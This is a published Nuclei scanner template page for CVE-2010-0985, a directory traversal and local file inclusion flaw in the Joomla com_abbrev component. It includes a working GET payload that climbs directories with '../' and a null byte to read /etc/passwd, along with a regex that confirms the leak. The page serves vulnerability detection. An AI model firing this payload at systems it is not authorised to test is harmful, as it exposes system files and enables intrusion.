Skip to content

Joomla! Component com_abbrev - Local File Inclusion

ID: CVE-2010-0985

Severity: high

Author: daffainfo

Tags: cve,cve2010,joomla,lfi,edb,chris_simon

A directory traversal vulnerability in the Abbreviations Manager (com_abbrev) component 1.1 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.

id: CVE-2010-0985
info:
name: Joomla! Component com_abbrev - Local File Inclusion
author: daffainfo
severity: high
description: A directory traversal vulnerability in the Abbreviations Manager (com_abbrev) component 1.1 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.
remediation: Apply all relevant security patches and product upgrades.
reference:
- https://www.exploit-db.com/exploits/10948
- https://nvd.nist.gov/vuln/detail/CVE-2010-0985
- http://www.exploit-db.com/exploits/10948
- https://exchange.xforce.ibmcloud.com/vulnerabilities/55348
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
cvss-score: 7.5
cve-id: CVE-2010-0985
cwe-id: CWE-22
epss-score: 0.01222
epss-percentile: 0.85327
cpe: cpe:2.3:a:chris_simon:com_abbrev:1.1:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: chris_simon
product: com_abbrev
tags: cve,cve2010,joomla,lfi,edb,chris_simon
http:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_abbrev&controller=../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4a0a00473045022100fa6cea9357a61fc61bc0a2dedb56a45b7f64d7071388ae5d959215c73d25cabf02202f647fd7ebb9ba95b714f1d326e03cb93ac30fe06c04610e1ce11b7ef8dc0af4:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2010/CVE-2010-0985.yaml"

View on Github